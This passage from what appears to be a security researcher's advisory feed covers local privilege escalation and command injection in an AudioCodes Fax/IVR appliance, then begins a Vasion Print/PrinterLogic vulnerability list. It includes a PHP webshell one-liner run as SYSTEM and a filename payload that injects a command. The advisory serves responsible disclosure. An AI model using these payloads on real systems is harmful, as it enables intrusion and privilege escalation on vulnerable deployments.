                 NT AUTHORITY\SYSTEM:(I)(F)
                 BUILTIN\Users:(I)(RX)
                 NT AUTHORITY\Authenticated Users:(I)(M)

y.txt BUILTIN\Administrators:(I)(F)
      NT AUTHORITY\SYSTEM:(I)(F)
      BUILTIN\Users:(I)(RX)
      NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 19 files; Failed processing 0 files
</code></pre>
<p><a id="lpe-02"></a></p>
<h2>Details - Local Privilege Escalation #2</h2>
<p>The <code>DocumentRoot</code> directory <code>C:\F2MAdmin\F2E</code> can be modified by any user due to insecure permissions.</p>
<p>PoC - a webshell will be executed as <code>NT AUTHORITY\SYSTEM</code>: </p>
<pre><code>Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.

C:\Users\testuser&gt;whoami
desktop-to41lr8\testuser

C:\Users\testuser&gt;icacls C:\F2MAdmin\F2E
C:\F2MAdmin\F2E BUILTIN\Administrators:(I)(OI)(CI)(F)
                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                BUILTIN\Users:(I)(OI)(CI)(RX)
                NT AUTHORITY\Authenticated Users:(I)(M)
                NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

C:\Users\testuser&gt;echo "&lt;?php system('whoami');?&gt;" &gt; C:\F2MAdmin\F2E\a.php

C:\Users\testuser&gt;curl http://127.0.0.1:8090/a.php
"nt authority\system
"

C:\Users\testuser&gt;
</code></pre>
<p>I haven't performed a comprehensive analysis, but additional Local Privilege Escalation vulnerabilities likely exist.</p>
<p><a id="rce-03"></a></p>
<h2>Details - Post-authenticated Command Injection and Local Privilege Escalation</h2>
<p>In order to test the Fax configurattion, a batch file with attacker-controlled value will be created and then executed. Variables are not sanitized and can be used to execute additional malicious commands.</p>
<p>Content of <code>C:\F2E\AudioCodes_files\TestFax.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">10</span> <span style="color: #19177C">$FromNumber</span> <span style="color: #666666">=</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;FromNumber&quot;</span>]) <span style="color: #666666">?</span> <span style="color: #008000">trim</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;FromNumber&quot;</span>]) <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
 <span style="color: #666666">11</span> <span style="color: #19177C">$ToNumber</span> <span style="color: #666666">=</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;ToNumber&quot;</span>]) <span style="color: #666666">?</span> <span style="color: #008000">trim</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;ToNumber&quot;</span>]) <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
 <span style="color: #666666">12</span> <span style="color: #19177C">$src_ip</span> <span style="color: #666666">=</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;src_ip&quot;</span>]) <span style="color: #666666">?</span> <span style="color: #008000">trim</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;src_ip&quot;</span>]) <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
 <span style="color: #666666">13</span> <span style="color: #19177C">$action</span> <span style="color: #666666">=</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;action&quot;</span>]) <span style="color: #666666">?</span> <span style="color: #008000">trim</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;action&quot;</span>]) <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
[<span style="color: #666666">...</span>]
 <span style="color: #666666">32</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">strcmp</span>(<span style="color: #19177C">$action</span>,<span style="color: #BA2121">&quot;send&quot;</span>)<span style="color: #666666">==0</span>)
 <span style="color: #666666">33</span> {
 <span style="color: #666666">34</span>         <span style="color: #008000; font-weight: bold">require_once</span> <span style="color: #BA2121">&#39;utils/Global/GlobalUtils.class.php&#39;</span>;
 <span style="color: #666666">35</span>
 <span style="color: #666666">36</span>         <span style="color: #19177C">$command</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;C:</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">progra~2</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">Commetrex</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">otf</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">bin</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">faxsender -u sip:</span><span style="color: #BB6688; font-weight: bold">$ToNumber</span><span style="color: #BA2121">@</span><span style="color: #BB6688; font-weight: bold">$src_ip</span><span style="color: #BA2121"> -f test_web_fax.tif -o mulaw -a T38 -c sip:</span><span style="color: #BB6688; font-weight: bold">$FromNumber</span><span style="color: #BA2121">@</span><span style="color: #BB6688; font-weight: bold">$src_ip</span><span style="color: #BA2121"> -t&quot;</span>;
 <span style="color: #666666">37</span>         GlobalUtils<span style="color: #666666">::</span><span style="color: #7D9029">RunBatchFile</span>(<span style="color: #19177C">$command</span>);
</pre></div>

<p>The batch file containing the command will be written inside the <code>C:\F2MAdmin\run</code> directory and then executed by accessing a network service without authentication:</p>
<p><code>http://localhost:9437/f2mw-service-api/?method=runBatch&amp;fileName=tmp_1754486471_37.bat</code></p>
<p>An authenticated attacker can use variables containing malicious commands with <code>&amp;</code> or newline characters - the additional commands will be executed as <code>NT AUTHORITY\system</code>.</p>
<p>A local user can simply edit these files to inject malicious commands due to insecure permissions.</p>
<p><a id="rce-04"></a></p>
<h2>Details - Post-authenticated Command Injection</h2>
<p>The <code>C:\F2MAdmin\F2E\AudioCodes_files\ActivateLicense.php</code> PHP script allows to upload a license file.</p>
<p>When a license file containing a specific malicious extension is uploaded, this extension will be included in a command executed as <code>NT AUTHORITY\system</code>. There is no sanitization, so an attacker can upload <code>test.ext&amp;command_to_execute</code> to execute <code>command_to_execute</code> as <code>NT AUTHORITY\system</code>:</p>
<p>The execution flow is:</p>
<pre><code>$original_file (under the attacker's control, this is the name of the uploaded file) -&gt; $ext -&gt; $newfile -&gt; $target_path -&gt; $params and then exec($params).
</code></pre>
<p>Content of <code>C:\F2MAdmin\F2E\AudioCodes_files\ActivateLicense.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
<span style="color: #666666">104</span> <span style="color: #19177C">$c2vdir</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;C:/temp/&quot;</span>;
[<span style="color: #666666">...</span>]
<span style="color: #666666">242</span>         <span style="color: #19177C">$utime</span><span style="color: #666666">=</span><span style="color: #008000">time</span>();
<span style="color: #666666">243</span> 
<span style="color: #666666">244</span>         <span style="color: #19177C">$uday</span><span style="color: #666666">=</span> <span style="color: #008000">date</span>(<span style="color: #BA2121">&#39;d&#39;</span>);
<span style="color: #666666">245</span>         <span style="color: #19177C">$umonth</span><span style="color: #666666">=</span> <span style="color: #008000">date</span>(<span style="color: #BA2121">&#39;m&#39;</span>);
<span style="color: #666666">246</span>         <span style="color: #19177C">$uyear</span><span style="color: #666666">=</span> <span style="color: #008000">date</span>(<span style="color: #BA2121">&#39;y&#39;</span>);
<span style="color: #666666">247</span> 
<span style="color: #666666">248</span>         <span style="color: #19177C">$udate</span><span style="color: #666666">=</span><span style="color: #19177C">$umonth</span><span style="color: #666666">.</span><span style="color: #19177C">$uday</span><span style="color: #666666">.</span><span style="color: #19177C">$uyear</span>;
<span style="color: #666666">249</span> 
<span style="color: #666666">250</span>         <span style="color: #19177C">$filename</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;a&quot;</span><span style="color: #666666">.</span><span style="color: #19177C">$udate</span><span style="color: #666666">.</span><span style="color: #19177C">$utime</span>;
<span style="color: #666666">251</span> 
<span style="color: #666666">252</span>         
<span style="color: #666666">253</span>         <span style="color: #19177C">$target_path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$c2vdir</span>; 
[<span style="color: #666666">...</span>]
<span style="color: #666666">257</span>         <span style="color: #19177C">$original_file</span> <span style="color: #666666">=</span> <span style="color: #008000">basename</span>(<span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">&#39;uploadedfile&#39;</span>][<span style="color: #BA2121">&#39;name&#39;</span>]);
<span style="color: #666666">258</span> 
<span style="color: #666666">259</span>         <span style="color: #19177C">$pos</span> <span style="color: #666666">=</span> <span style="color: #008000">strpos</span>(<span style="color: #19177C">$original_file</span>,<span style="color: #BA2121">&quot;.&quot;</span>,<span style="color: #666666">0</span>);
<span style="color: #666666">260</span>         <span style="color: #19177C">$ext</span> <span style="color: #666666">=</span> <span style="color: #008000">trim</span>(<span style="color: #008000">substr</span>(<span style="color: #19177C">$original_file</span>,<span style="color: #19177C">$pos</span><span style="color: #666666">+1</span>,<span style="color: #008000">strlen</span>(<span style="color: #19177C">$original_file</span>)),<span style="color: #BA2121">&quot; &quot;</span>);
<span style="color: #666666">261</span> 
<span style="color: #666666">262</span>         <span style="color: #19177C">$newfile</span> <span style="color: #666666">=</span> <span style="color: #19177C">$filename</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;.&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$ext</span>;
<span style="color: #666666">263</span> 
<span style="color: #666666">264</span>         <span style="color: #19177C">$target_path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$target_path</span> <span style="color: #666666">.</span> <span style="color: #008000">basename</span>(<span style="color: #19177C">$newfile</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">269</span>                 <span style="color: #19177C">$params</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;--active -i &quot;</span><span style="color: #666666">.</span><span style="color: #19177C">$target_path</span>;
<span style="color: #666666">270</span>                 <span style="color: #19177C">$res</span> <span style="color: #666666">=</span> <span style="color: #008000">exec</span> (<span style="color: #BA2121">&quot;C:</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">F2MAdmin</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">F2E</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">external</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">fax_server_lic_cmdline.exe &quot;</span><span style="color: #666666">.</span><span style="color: #19177C">$params</span>,<span style="color: #19177C">$resArr</span>);
</pre></div>

<p>The generated filename is made of 'a', the MMDDYY values, the current Unix time and the extension.</p>
<p>For example, if the filename used during the upload (<code>$_FILES['uploadedfile']['name']</code>) is set to <code>test.php&amp;dir</code>, the <code>$params</code> variable will be set to <code>--active -i C:/temp/a0917251758121909.php&amp;dir</code>.</p>
<p><code>dir</code> will be executed as <code>NT AUTHORITY\system</code> on line 270.</p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>May 26 - 27, 2025: Security assessment performed on the AudioCodes IVR/FAX appliance.</li>
<li>May 28, 2025: Analysis sent to the AudioCodes PSIRT (vulnerabilities #1 to #3).</li>
<li>May 28, 2025: Analysis sent to the AudioCodes PSIRT (vulnerability #4).</li>
<li>May 29, 2025: Follow-up email sent to AudioCodes PSIRT.</li>
<li>May 29, 2025: AudioCodes PSIRT confirmed receipt of the analysis.</li>
<li>Jun, 13 2025: Follow-up email sent to AudioCodes PSIRT.</li>
<li>Jun, 13 2025: Out-of-office reply from the AudioCodes PSIRT.</li>
<li>Jul, 1 2025: Follow-up email sent to AudioCodes PSIRT. Asked details about patches, security bulletins and CVEs.</li>
<li>Jul 8, 2025: I learned that AudioCodes had released an unofficial version with security patches.</li>
<li>Jul 8, 2025: Confirmed that vulnerabilities were still present and new vulnerabilities were found.</li>
<li>Sep, 16 2025: Follow-up email sent to AudioCodes PSIRT. Asked details about patches, security bulletins and CVEs.</li>
<li>Sep, 16 2025: AudioCodes PSIRT indicated that their answer was already communicated on June 25.</li>
<li>Sep, 17 2025: Follow-up email sent to AudioCodes PSIRT stating that I did not receive any answer, CVEs or working patches. I requested an official response regarding the vulnerabilities.</li>
<li>Sep, 17, 2025: AudioCodes PSIRT forwarded my email to two AudioCodes employees and asked them to assist me.</li>
<li>Nov 19, 2025: Vulncheck assigned CVEs.</li>
<li>Nov 20, 2025: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html">https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt">https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p>
<p>The source code snippets in this security advisory are the intellectual property of Audiocodes and
used to explain the root causes of the vulnerabilities.</p></content>
    </entry>
    
    <entry>
        <title>83 vulnerabilities in Vasion Print / PrinterLogic</title>
        <link href="2025-04-08-vasion-printerlogic-83-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>Secure. Scalable. Print Automation That Just Works.
Eliminate print servers to secure your environment. Leverage the power of AI and automation to streamline print processes through one central location. Say goodbye to the frustrations of a traditional print environment and welcome a new era of print automation.</p>
<p>Serverless Print Automation with Built-In Flexibility
Print servers are prone to failure, expensive to maintain, and pose major security risks. Vasion Print's cloud-native, centrally-managed direct IP printing architecture eliminates the need for legacy systems, simplifying your IT infrastructure and reducing operational costs. By eliminating print servers, your print environment is highly available with low maintenance, allowing your business to scale and transform with automation and AI.</p>
<p>From <a href="https://vasion.com/print/">https://vasion.com/print/</a></p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>Vulnerable versions for patched vulnerabilities: Vason Print Virtual Appliance Host &lt; 25.1.102, Application &lt; 25.1.1413.</p>
<p>Vulnerable versions for unpatched vulnerabilities: all versions.</p>
<p><strong>I. The summary of the vulnerabilities found in 2021:</strong></p>
<p><strong>11 vulnerabilities affecting the MacOS/Linux client</strong></p>
<p>1. <a href="#mac-hardcoded-private-key">CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password</a><br>
2. <a href="#mac-incorrect-permissions">CVE-2025-27682 - Incorrect permissions in /opt/PrinterInstallerClient/log</a><br>
3. <a href="#mac-leak-secrets">CVE-2025-34188 - Leak of secrets inside the logs</a><br>
4. <a href="#mac-lack-auth-communication">CVE-2025-34189 - Lack of authentication of the communication between services</a><br>
5. <a href="#mac-bypass-admin-ipc">CVE-2025-27681 - Bypass of admin commands using IPC</a><br>
6. <a href="#mac-auth-bypass-printerinstallerclientservice">CVE-2025-34190 - Authentication bypass on the PrinterInstallerClientService program</a><br>
7. <a href="#mac-potential-drivers-upload">CVE-2025-27683 - Potential upload of new drivers</a><br>
8. <a href="#mac-insecure-generation-debug-archive">CVE-2025-27684 - Insecure generation of debug archive</a><br>
9. <a href="#mac-arbitrary-file-read">CVE-2025-27677 - Arbitrary File Read as root</a><br>
10. <a href="#mac-arbitrary-file-write">CVE-2025-34191 - Arbitrary File Write as root</a><br>
11. <a href="#mac-outdated-openssl">CVE-2025-34192 - Outdated OpenSSL version</a></p>
<p><strong>5 vulnerabilities affecting the Windows client</strong></p>
<p>12. <a href="#win-insecure-programs">CVE-2025-34193 - Insecure PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe</a><br>
13. <a href="#win-lpe-01">CVE-2025-27678 - Local Privilege Escalation with insecure use of C:\Windows\Temp\PPP\Log</a><br>
14. <a href="#win-lpe-02">CVE-2025-34194 - Local Privilege Escalation with insecure use of C:\Users\%USER%\AppData\Local\Temp</a><br>
15. <a href="#win-rce-01">CVE-2025-34195 - Remote Code Execution (Execution of C:\Program.exe during the installation of a driver)</a><br>
16. <a href="#win-hardcoded-private-key">CVE-2025-34196 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password</a></p>
<p><strong>II. The summary of the vulnerabilities found in 2022:</strong></p>
<p><strong>33 vulnerabilities affecting the VA and SaaS versions</strong></p>
<p>17. <a href="#va-hardcoded-password-ubuntu">CVE-2025-34197 - Hardcoded password for the ubuntu user</a><br>
18. <a href="#va-hardcoded-ssh-keys">CVE-2025-34198 - Hardcoded SSH server keys</a><br>
19. <a href="#va-insecure-communications">CVE-2025-34199 - Insecure communications to printers and insecure communications to micro-services by disabling all SSL verifications</a><br>
20. <a href="#va-clear-text-password">CVE-2025-34200 - Password for <code>network</code> stored in clear-text inside <code>/etc/issue</code>, world-readable</a><br>
21. <a href="#va-hardocoded-private-ssh-keys">CVE-2025-27650 - Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com</a><br>
22. <a href="#va-hardcoded-aws-key">CVE-2025-27643 - Hardcoded AWS secret key and Presence of CI/CD scripts</a><br>
23. <a href="#va-hardcoded-mailgun-credentials">CVE-2025-27638 - Hardcoded Mailgun credentials</a><br>
24. <a href="#va-hardcoded-okta-private-key">CVE-2025-27674 - Hardcoded OKTA Private key</a><br>
25. <a href="#va-lack-of-fw">CVE-2025-34201 - Lack of firewall between Docker instances</a><br>
26. <a href="#va-insecure-access-docker-instances-from-wan">CVE-2025-34202 - Insecure access to Docker instances from the WAN</a><br>
27. <a href="#va-insecure-security-architecture">CVE-2025-34206 - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution</a><br>
28. <a href="#va-outdated-components">CVE-2025-34203 - Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, libraries, Laravel, operating systems)</a><br>
29. <a href="#va-processes-running-as-root">CVE-2025-34204 - Processes running as root in Docker instances</a><br>
30. <a href="#va-lpe">CVE-2025-27639 - Creation of administrator cookies using the credentials of regular users</a><br>
31. <a href="#va-xss-01">CVE-2025-27637 - XSS in the license generator and weak encryption algorithm</a><br>
32. <a href="#va-incorrect-acl-php">CVE-2025-27649 - Incorrect Access Control to PHP webpages allowing to reach printers</a><br>
33. <a href="#va-pre-auth-password-disclosure">CVE-2025-27651 - Pre-authentication Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF</a><br>
34. <a href="#va-ssrf-01">CVE-2025-27652 - Pre-authenticated SSRF and Change of RFIDeas</a><br>
35. <a href="#va-stored-xss">CVE-2025-27653 - Pre-authenticated Stored XSS in /var/www/app/console_release/fast_release/register_badge.php</a><br>
36. <a href="#va-ssrf-02">CVE-2025-27655 - SSRF everywhere in /var/www/app and compromise of the SaaS infrastructure</a><br>
37. <a href="#va-xss-02">CVE-2025-27679 - XSS in /var/www/app/console_release/fast_release/ register_badge_new.php</a><br>
38. <a href="#va-xss-03">CVE-2025-27676 - XSS in /www/app/admin/design/reports/overview_popup.php and Incorrect Access Control</a><br>
39. <a href="#va-xss-04">CVE-2025-27654 - XSS everywhere in /www/app/admin/*</a><br>
40. <a href="#va-rce-01">CVE-2025-27657 - Remote Code Executions using eval() - requires administrator privileges</a><br>
41. <a href="#va-dead-code">CVE-2025-34205 - Dangerous PHP dead code</a><br>
42. <a href="#va-insecure-ssh-config">CVE-2025-34207 - Insecure SSH configuration</a><br>
43. <a href="#va-incorrect-encryption-algorithms-password">CVE-2025-34208 - Incorrect encryption algorithms used to store passwords</a><br>
44. <a href="#va-private-gpg-key">CVE-2025-34209 - GPG Private key stored in the solution</a><br>
45. <a href="#va-readable-passwords">CVE-2025-34210 - Passwords readable and stored in clear-text</a><br>
46. <a href="#va-hardcoded-ssl-private-key">CVE-2025-34211 - Hardcoded SSL certificate / Private keys</a><br>
47. <a href="#va-disclosure-samba-password">CVE-2025-27656 - Samba password available in the process list</a><br>
48. <a href="#va-supply-chain-build-system">CVE-2025-34212 - Supply Chain attack against the PrinterLogic build system</a><br>
49. <a href="#va-vulnerable-openid">CVE-2025-27675 - Vulnerable OpenID implementation</a></p>
<p><strong> 1 vulnerability affecting only the VA version</strong></p>
<p>50. <a href="#va-insecure-firmware-update-ms-auth-key">CVE-2025-27680 - Insecure firmware image update using the MS_AUTH_KEY variable</a></p>
<p><strong>III. The summary of the vulnerabilities found in 2024:</strong></p>
<p><strong> 4 vulnerabilities affecting only the SaaS version</strong></p>
<p>51. <a href="#saas-cross-tenant-password-disclosure">CVE-2025-27648 - Cross-tenant vulnerability - disclosure of passwords of other customers and change of settings of any tenant</a><br>
52. <a href="#saas-cross-tenant-take-over">CVE-2025-27646 - Take over of tenants without authentication</a><br>
53. <a href="#saas-insecure-design">non-assigned CVE vulnerability - Insecure design of the SaaS version</a><br>
54. <a href="#saas-clear-text-sql-backups">non-assigned CVE vulnerability - SQL Backups stored in clear-text in the Cloud</a></p>
<p><strong> 2 vulnerabilities affecting only the VA version</strong></p>
<p>55. <a href="#va-rce-02">CVE-2025-34215 - Pre-authenticated Remote take over of PrinterLogic instances (Remote Code Execution)</a><br>
56. <a href="#va-rce-03">CVE-2025-34216 - Remote Code Execution and Leak of passwords using APIs</a></p>
<p><strong> 25 vulnerabilities affecting the VA and SaaS versions</strong></p>
<p>57. <a href="#va-undocumented-hardcoded-ssh-key">CVE-2025-34217 - Undocumented hardcoded SSH key</a><br>
58. <a href="#va-exposed-docker-instances">CVE-2025-34218 - Internal Docker instances exposed on the LAN and the Internet</a><br>
59. <a href="#va-exposed-upload-docker-instance">non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN</a><br>
60. <a href="#va-api-leak">CVE-2025-34220 - Unauthenticated API leaking group information</a><br>
61. <a href="#va-firefox-plugin-over-http">CVE-2025-27645 - Installation of the Firefox plugin over HTTP</a><br>
62. <a href="#va-auth-bypass">CVE-2025-34221 - Authentication Bypass - Docker instances reachable without authentication</a><br>
63. <a href="#va-add-partial-admin-without-auth">CVE-2025-27647 - Addition of partial-admin users without authentication</a><br>
64. <a href="#va-insecure-apis-01">CVE-2025-27641 - Unauthenticated admin APIs allowing to configure the IdP (SSO) authentication mechanism</a><br>
65. <a href="#va-insecure-apis-02">CVE-2025-34222 - Unauthenticated admin APIs allowing to upload/download SSL certificates</a><br>
66. <a href="#va-insecure-credentials-installation">CVE-2025-34223 - Insecure credentials used for the installation</a><br>
67. <a href="#va-lack-of-auth-manage-printers">CVE-2025-34224 - No authentication required to configure/delete printers/rfid devices</a><br>
68. <a href="#va-ssrf-03">CVE-2025-34225 - 11 SSRF vulnerabilities in the console_release directory</a><br>
68.1. <a href="#va-ssrf-04">CVE-2025-34228 - 4 SSRF vulnerabilities in /var/www/app/console_release/lexmark/update.php</a><br>
68.2. <a href="#va-ssrf-05">CVE-2025-34229 - 1 blind SSRF vulnerability in /var/www/app/console_release/hp/installApp.php</a><br>
68.3. <a href="#va-ssrf-06">CVE-2025-34230 - 2 blind SSRF vulnerabilities in /var/www/app/console_release/hp/log_off_single_sign_on.php</a><br>
68.4. <a href="#va-ssrf-07">CVE-2025-34231 - 2 SSRF vulnerabilities in /var/www/app/console_release/hp/badgeSetup.php</a><br>
68.5. <a href="#va-ssrf-08">CVE-2025-34232 - 2 blind SSRF vulnerabilities in /var/www/app/console_release/lexmark/dellCheck.php</a><br>
69. <a href="#va-insecure-use-file_get_contents">CVE-2025-34233 - Insecure use of file_get_contents() allowing to bypass security checks</a><br>
70. <a href="#va-hardcoded-key">CVE-2025-34234 - Hardcoded keys used to encrypt information - insecure encryption</a><br>
71. <a href="#va-edit-driver-packages-without-auth">CVE-2025-27642 - Unauthenticated webpage allowing to edit driver packages</a><br></p>
<p><strong> 2 vulnerabilities affecting the Windows client</strong></p>
<p>72. <a href="#win-lpe-03">CVE-2025-27644 - Local Privilege Escalation</a><br>
73. <a href="#win-lpe-04">CVE-2025-34235 - Insecure option allowing an attacker to get Remote Code Execution against any client</a></p>
<p><em>Miscellaneous notes</em>:</p>
<p>A blackbox security assessment of the MacOS client was done in 2021 (3 days of work) without access to the back-end (Virtual Appliance or SaaS) and was provided to PrinterLogic (now Vasion Print). A (very) quick security assessment of the Windows Client was also done in 2021 (~ 6 hours of work - as PrinterLogic was not the main target of the security evaluation) and was provided to PrinterLogic (now Vasion Print).</p>
<p>A third report analysing the Virtual Appliance and SaaS version was provided in February 2022 to Vasion after a 3-week security assessment. The vendor provided a test SaaS deployment.</p>
<p>A fourth security assessment (3 weeks of work), analysing the Virtual Appliance and SaaS version (the vendor provided a test SaaS deployment), was provided in January 2024 to the vendor allowing to check the status of the previously reported vulnerabilities. During this 2024 security assessment, 34 new vulnerabilities were found using the previous knowledge obtained in 2022 and it was confirmed that 20 of 33 vulnerabilities found in the VA/SaaS version previously reported in 2022 have <u>not</u> been patched - which was quite problematic.</p>
<p>While waiting for security patches to vulnerabilities I reported to the vendor, a previous colleagues of mine - <a href="https://twitter.com/@wireghoul">Wireghoul</a> - published another security assessment of PrinterLogic in 2023 with very cool findings: <a href="https://gist.github.com/wireghoul/fd2abbe52025f84de5f5ca4f08a4da93">PrinterLogic SaaS, multiple vulnerabilities</a>. Surprisingly, the 18 vulnerabilities he found did not collide with my findings.</p>
<p>Following an email sent to the vendor in September 2024 stating that I would disclose all the vulnerabilities without security patches, the vendor finally confirmed that they would work to provide security patches before January 2025 for all the remaining issues and they confirmed that they had already released some security patches. They also communicated more often on the status of the security patches.</p>
<p>It took more than 3 years to get incomplete security patches for vulnerabilities found in 2022 and 1 year for vulnerabilities found in 2024 (see below). My interpretation is that the vendor was overwhelmed with my findings.</p>
<p>Regarding reports sent in 2022 and 2024, the vendor never asked me technical details regarding vulnerabilities and they stated by email on October 5, 2024 that all the reported vulnerabilities would be fixed. The vendor also reconfirmed again on January 17, 2025 that all the vulnerabilities had been fixed (except vulnerabilities related to Docker configuration) so my assumption was they accepted all the vulnerabilities and patched them. Unfortunately, I was incorrect and in discussions related to disclosure and missing Vendor's security bulletins in March 2025, it appeared, to my surprise, that Vasion considered 8 vulnerabilities to be "feature requests" and had consequently not been patched. When reviewing the previous tracking document they shared with me, some of these vulnerabilities were missing or were indicated as "patched". It is unclear if the vendor would patch them. I included the <em>Vendor Response regarding disputed and unpatched vulnerabilities</em> in this document, followed by my comments, because the vendor disagreed with my analysis but I <strong>strongly</strong> believe that some of the final Vendor's responses are technically incorrect (please find my technical explanations below).</p>
<p>At least 4 vulnerabilities (2 reported in February 2020 and 2 reported in January 2024 [including a rejected vulnerability]) have not been yet patched, allowing a remote attacker to get a Remote Code Execution against Vasion Print without authentication. Requiring more than 3 years to provide incomplete security patches does not appear to be in line with the best practices in responding to cybersecurity risks. It is also quite worrying that the vendor decided to reject valid vulnerabilities (including a backdoor RCE reported in January 2024) and did not provide security patches for 1 RCE reported in January 2022 and 2 RCEs reported in January 2024.</p>
<p>Due to the design of the solution - Vasion Print needs to reach remote printers over HTTP and HTTPS - Vasion Print is prone to SSRF vulnerabilities. 11 SSRF vulnerabilities were reported based on webpages that were randomly chosen and analyzed. SSRF vulnerabilities could be catastrophic in an Cloud environment because an attacker can reach <a href="https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/">metadata services</a> and extract credentials for lateral movements. Additionally, multiple cross-tenant vulnerabilities were found allowing an attacker to compromise any instance. I recommended to the vendor to review hundreds of calls to curl and file_get_contents() that use attacker-controlled inputs, in order to patch SSRF vulnerabilities.</p>
<p>I did not check if the reported vulnerabilities have been correctly patched.</p>
<p>I waited over 13 times longer than the usual coordination time (13 * 3 months) hoping that the vendor would release complete security patches. Unfortunately, they did not patch all the vulnerabilities.</p>
<p>Consequently, I decided to provide this security advisory to share some recommendations to mitigate the security risks on this solution.</p>
<p>The vulnerabilities found in 2024 are way more impactful, since I used my previous knowledge to analyze interesting entrypoints allowing an attacker to perform multiple Remote Code Executions, authentication bypasses and cross-tenant vulnerabilities and I suggest directly reading the 2024 vulnerabilities.</p>
<p>Although the list of vulnerabilities is substantial, I consider that the security posture of Vasion Print has improved significantly as a result of the reporting of these vulnerabilities.</p>
<p>Regarding the (lack of) CVEs, the vendor confirmed that they reached MITRE multiple times to have CVE identifiers assigned to vulnerabilities.
Unfortunately, they never got any reply and they used custom identifiers to track vulnerabilities (<code>V-YEAR-NUMBER</code>) in their security bulletins. I reached JPCERT to assign CVE Identifiers to the vulnerabilities, since I worked with JPCERT in 2023 for vulnerabilities found in <a href="https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html">Toshiba</a> and <a href="https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html">Sharp</a> Multi-Function printers. Finally, MITRE assigned 33 CVEs in March 2025 but more than 50 CVE IDs are still missing.</p>
<p>I reached MITRE in March 2025 two times to assign CVE IDs to the non-assigned vulnerabilities and will update this security advisory accordingly if CVEs are assigned. <strong>Update November 2025: VulnCheck assigned the missing CVEs.</strong></p>
<p><em>Impacts</em></p>
<p>An attacker can compromise Vasion Printer installations without authentication, move laterally in the Windows/MacOS clients and get Remote Code Execution on these clients.</p>
<p>It was also possible to compromise other customers since cross-tenant vulnerabilities were found, allowing to disclose clear-text passwords of other customers and get admin access to their accounts using multiple vulnerabilities.</p>
